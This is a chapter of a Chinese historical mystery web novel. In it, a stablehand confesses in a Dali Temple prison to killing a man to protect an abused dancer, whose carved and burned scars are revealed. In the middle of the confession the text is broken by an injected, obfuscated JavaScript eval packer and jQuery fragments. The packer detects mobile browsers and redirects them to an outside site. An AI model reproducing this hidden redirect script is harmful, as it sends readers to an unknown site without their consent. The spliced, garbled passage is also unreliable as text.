“也成,”小方大人支着下巴思索片刻,回道:“既然你都这么说了,那本少爷亲自把他送去便是。”
听到自己能如愿去大理寺,老马紧绷的身躯松弛下来,不再有半分挣扎,顺从地跟着一行人避开耳目,自后门出去。
众人散尽,醉仙楼一如往常,人来人往。只是上房床榻上的人不知何时站在了窗边。他四下环顾后,拉上窗帘,对着屏风后的檀木柜开口:“出来吧,安老板。”
柜子没有动静。慕容雪猛地转身,安月早已坐在了案边,好整以暇地望着他。
“既单独约我,又为何带上那丫头?”他语气不悦,听上去像在兴师问罪。
慕容雪一怔,而后来了兴致,反问:“你怕她?”
“这话慕容先生自己听着不觉可笑吗?”堂堂明心斋主人,会怕一个初出茅庐的小丫头?
慕容雪不再与他多做口舌之争,伸手,言简意赅:“沈倾的随身之物,还请安老板兑现承诺,还给在下。”
“你来晚了,那小物件已经给她了。”
“谁?”他的手并未收回,反而更加用力,似是带着隐忍的怒意。
安月抬手,不轻不重地将面前的手推开,锐利的目光穿过面具直勾勾地落在他的脸上,“慕容先生,你答应我的事迟迟未有结果,而她做到了。既然你二人都要那锦囊,自然是先到先得。”
慕容雪当即明白,安月口中的“她”是李璟序,怒意更盛。他不愿将她牵扯进来,当年,沈倾贵为国舅,官拜大理寺少卿,身手放眼整个邺京都算得上顶尖,这样的人竟在查案途中悄无声息地被人暗杀于陋巷。他亲自为挚友验尸,尸身上无任何搏斗痕迹,全身上下只有腕处一道细微的割痕。只那一道细痕,让沈倾血尽而亡。
究竟是什么样的高手能在沈倾毫无觉察的情况下近身,精准无误地断其腕脉,令他瞬息毙命,连一丝反应都未能做出?
这些,慕容雪有时候连回忆的勇气都没有。
“安老板,”良久,他再开口:“我会把裴萧和许少钦的死因查清楚,尽早把案子破了。小序她……她还是个孩子,什么都不知道,您放过她。”
待他抬起头时,屋内已空无一人。
大理寺狱。
碧儿等人已被拘押两日。在此期间,无人提审,无人讯问,更无人定其罪责,刑狱之中弥漫着一股茫然不安的气息。听到脚步声,所有人都往前冲了几步,紧紧抓住栏杆。
“马叔!”碧儿这一声呼叫倒是让李璟序一愣,她看看身侧的方尘述,面露尴尬。
她刚禀报完老马很有可能是碧儿生父的猜测。
碧儿衣裙凌乱,半立半跪,发髻已如草窝,凝脂一般的面容此时沾染泥污泪痕,显得格外憔悴。可她攥着栏杆的手握得紧紧的,视线坚定地落在老马身上。她大声呼叫:“马叔,我没有杀人,我没有杀他!”
“肃静!”方尘述贴身侍卫方七厉声喝道,牢房瞬间鸦雀无声。方七虽为方府家仆,但随方尘述入大理寺后,任寺丞一职。
因这几人皆为暂押,所以并未按男女分开关押,碧儿隔壁关的正是何天赐。
若说宋二有宋禧这个靠山,薛泽又有京都府衙为他担保,这二人表现从容倒还说得过去,可何天赐从力量、身形、不在场证据来看,嫌疑至少占五成,却也异常平静,两天一夜,竟一句话也没说过。
路过碧儿的牢门,一直静默的老马忽然疯了一般冲过去,抓住铁链拍打,他跪在碧儿面前:“是我不好,我拖累了你!”
方七刚要动手就被李璟序拦住,他不悦地瞪向她,她只是注视着两人。
碧儿拼命摇头,泪水如断了线的珍珠一般一颗颗砸落在老马黝黑干枯的手上。
似乎是下定了某种决心,老马再次跪着转身,挪回李璟序脚边,重复着醉仙楼后院中说过的话:“是我杀了那些畜牲,和他们无关,求您开恩,放过这些孩子……”
方尘述微不可查地侧了侧身,刚好将他与李璟序隔开。
他冷冷发问:“正月初九夜里,你在何处?”
“回大人的话,小人在静园……”老马跪得笔直,声音却失了气力,微弱得仿佛在回忆一件很久远的事,“那天晚上,小人驾车送姑娘们去静园献舞,天寒地冻的,马儿走一趟也不容易,小人便候在外头,想着,等姑娘们出来,再拉她们回去,可是……”
他忽然哽咽,再看碧儿,她一直无声地摇着头。
从静园出来到现在,李璟序第一次在碧儿身上嗅到真正的绝望的味道。
她走到碧儿那间牢房,掏出钥匙,开了牢门。又缓步进去,将她扶了出来。
方尘述始终没有干预李璟序任何动作,继续追问老马:“可是什么?你接着说。”
“大人!”碧儿挣开李璟序的手,冲到老马身旁,与他跪在一处。两人相拥而泣,却是什么都说不出来。
良久,碧儿掀起本就破碎的衣衫,纵使沉静如方尘述,也在这一刻露出诧异之色。
少女手臂上躺着一道道刀痕,这些刀痕长短不一,纵横排列在一起,赫然成了两个字。
宋硕。
这两个字并无完整,剩下的部分沿着她的锁骨向下蔓延,没入衣襟深处……
李璟序冲向她,缓缓抓起她另一只手腕,动作轻柔地将衣袖卷上去,随着她的动作掉落几粒烛屑。碧儿另一条胳膊上是崭新的烫伤,因未及时诊治,已经开始化脓。
“怎么会这样?!”
她那天明明摸过她的手,只感受到一些浅淡的划痕,她原以为那是……怎么会……
“那天夜里,我去小解,回去的时候路过西苑梅林,没想到林子里藏着一个人……等我再醒过来的时候,那个人就躺在我身边,我……”
“够了!”老马制止住她的陈述,几乎是嘶吼出来:“是我听见了碧儿的哭声,爬上墙,看见那畜生的形状!我直接从墙上翻了进去,地上有刀,我拿刀,我拿刀捅死了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367888|183893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他!”
“马叔。”李璟序再次问:“你说,你用那把刀捅死了宋硕,是吗?”
“是……”
“大人。”李璟序抬眸看着方尘述,眼眶因内心极度翻涌的情绪而泛红。她只是轻轻唤了他一声,牢房内陷入静默,而他也只是淡淡地回望她,一言不发。
方扶析这个人出现总是不见其人先闻其声。他鼓着掌进来,话语轻浮却很诡异地不会叫人厌烦。
“本少爷都听到了!人,是本少爷抓进来的,自然也该由本少爷带出去。”
他拍拍老马的肩膀,“老头儿,你不是凶手,我带你回醉仙楼喂马。”
“不,人是我杀的!”老马奋力挥开方扶析的手,力道之大,直接将他手中的玉骨扇挥飞出去。
“我说你这老头怎么这么不识好歹!本少爷这是在帮你,你知不知道宋硕他……”
“方扶析!”方尘述很少连名带姓一起叫他,每次这么叫都像地狱里的恶鬼来索他命,让人发毛。
方扶析意识到自己说错了话,悻悻地揉揉耳朵,没好气地瞪了他一眼。
李璟序依然盯着他的眼睛,终于,他妥协般垂眸,吩咐方七:“去叫个大夫,再收拾一间厢房,她暂时安置在大理寺。”
碧儿身上的伤触目惊心,方七应了声“是”便朝外走去。
直至此时,李璟序才缓缓低下头。一滴泪无声滑落,渗入唇角,尽是咸涩。
这一回,方尘述收了她“大理评事”的铜牌。其实仔细看便能发现这块牌子与其他官差身上所佩制式并不相同,铜色暗淡,根据其磨损程度来看,至少是五六年前的旧物了。
方扶析此来并不全为老马,还为了将薛泽赎出去。为了查他的不在场证据,他也在外面转悠了好几个时辰,把能问的人都问过一遍。
见李璟序一个人落寞地往外走,他不计前嫌,邀她上自己的马车。
车轮碾过朱雀大街的路面,小方大人难得放软了语气,安慰道:“你对我哥那点儿心思,明眼人都看得出来。可我哥,他将来是要尚公主的。他的婚事不由他自己说了算。”
方尘述是方家嫡长子,肩上扛的是整个方氏一族的兴衰。
如今方允贤高居相位,位列文官之首,其妹方英儿又入宫做了贵妃,且育有一子。方家权势正盛,整个朝野,除了沈谢两家,还有谁能与之抗衡?
“但我不一样啊,我是庶子,我爹才不会管我娶谁。要不然,你瞧瞧我呢?”
闻言,李璟序抬起头。平心而论,方家兄弟二人在容貌上皆属出众,但方尘述过于严厉,生人勿近,便衬得小方大人那份恣意的俊美更胜一筹。
可听他这般轻佻笑语,李璟序只觉得指尖发痒,很想在那张脸上留两道爪印。
她冷笑两声,阴阳怪气地道了声谢。
此刻她脑海中挥之不去的是碧儿身上狰狞的伤痕。至于方尘述将来娶谁,对她如何,自待案情水落石出之后再去考虑吧。